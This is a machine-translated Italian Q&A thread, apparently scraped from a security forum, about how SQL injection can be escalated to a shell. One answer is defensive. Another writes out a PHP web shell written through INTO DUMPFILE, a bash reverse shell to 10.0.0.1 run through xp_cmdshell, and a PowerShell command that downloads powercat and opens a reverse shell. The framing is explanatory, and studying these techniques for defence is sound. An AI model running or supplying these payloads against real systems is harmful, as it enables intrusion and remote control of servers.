it-swarm.dev

Sfruttare una shell dall'iniezione SQL

A quanto ho capito, l'iniezione SQL dovrebbe consentire solo la manipolazione e il recupero dei dati, niente di più. Supponendo che non si ottengano password, come si può utilizzare una semplice iniezione SQL per sfruttare una shell?

Ho visto attacchi nei casi in cui ciò è stato dichiarato possibile e, se lo è, vorrei essere in grado di proteggerlo.

20
Sonny Ordell

Molti server SQL comuni supportano funzioni come xp_cmdshell che consentono l'esecuzione di comandi arbitrari. Non sono nello standard SQL, quindi ogni software di database ha nomi diversi per questo.

Inoltre c'è SELECT ... INTO OUTFILE, che può essere usato per scrivere file arbitrari con le autorizzazioni dell'utente del database. Potrebbe essere possibile sovrascrivere gli script Shell che vengono richiamati da cron o all'avvio. Se il processo del server di database è in esecuzione sullo stesso server di un'applicazione Web (ad es. Un singolo server noleggiato), potrebbe essere possibile scrivere file .php che possono quindi essere richiamati visitando l'URL appropriato in il browser.

Il terzo modo per causare danni è definire ed eseguire le procedure memorizzate nel database. O ridefinire le stored procedure esistenti, ad esempio una funzione che verifica le password.

Probabilmente ci sono più modi.

L'utente del database dell'applicazione non deve disporre delle autorizzazioni per eseguire le funzioni Shell né utilizzare INTO OUTFILE né per definire le procedure memorizzate.

25

Esistono diversi modi per ottenere Shell. Eccone alcuni. Il link in basso dovrebbe portare ad alcuni cheat sheet eccellenti per molti tipi di database come MSSQL, Oracle, MySQL e altri.

Un buon consiglio per ottenere Shell è avere questo foglietto inverso Shell nella tasca posteriore.

Outfile

Se sai dove collocare Shell sul server (accessibile da qualche parte) puoi usare la seguente query (mysql) per creare ad esempio una shell php sul server web:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/Shell.php’

Trovare dove collocare Shell

Devi sapere dove si trova la directory del dominio. Imparare dove è in esecuzione il database può essere utile, quindi una query di iniezione (mysql) come questa potrebbe parlarti dell'architettura della directory:

SELECT @@datadir;

Potresti anche essere fortunato se provi a forzare eventuali messaggi di errore dal sistema per farti dire dove è in esecuzione. In genere questo approccio è il più semplice in quanto molti messaggi di errore lo sono molto

Utilizzo delle funzioni DB integrate (xp_cmdshell)

MSSQL ha un modo relativamente semplice di chiamare le funzioni del sistema operativo utilizzando la funzione integrata xp_cmdshell. In MySQL non è così semplice (di solito richiede file outfile o stored procedure). Oracle è anche molto facile in quanto consente di eseguire Java.

EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

L'istruzione precedente crea una shell interattiva (-i) in ascolto sulla porta 10.0.0.1 8080.

Modifica : Naturalmente MSSQL con Bash è davvero improbabile. Non ci ho pensato prima di vedere il commento. Invece di bash, si può fare invece uno script Powershell inverso, come questo:

EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' 

Powercat può essere scaricato da qui: https://github.com/besimorhino/powercat

Shell tramite procedure memorizzate

Se è possibile concatenare le query in un punto di iniezione, molto probabilmente è possibile creare procedure nel database. Queste procedure funzionano come funzioni che è quindi possibile chiamare con quries.

Vedi Comandi Shell da PL SQL per maggiori dettagli su questo.

Altro

Buona fonte di iniezione: pentest monkey

14
Chris Dale

Con un database Oracle, puoi effettivamente compilare ed eseguire Java da una query SQL. Ho visto gli aggressori implementare un wrapper Shell di base in Java per Oracle, ed eseguilo e compilarlo dall'iniezione SQL.

4
chris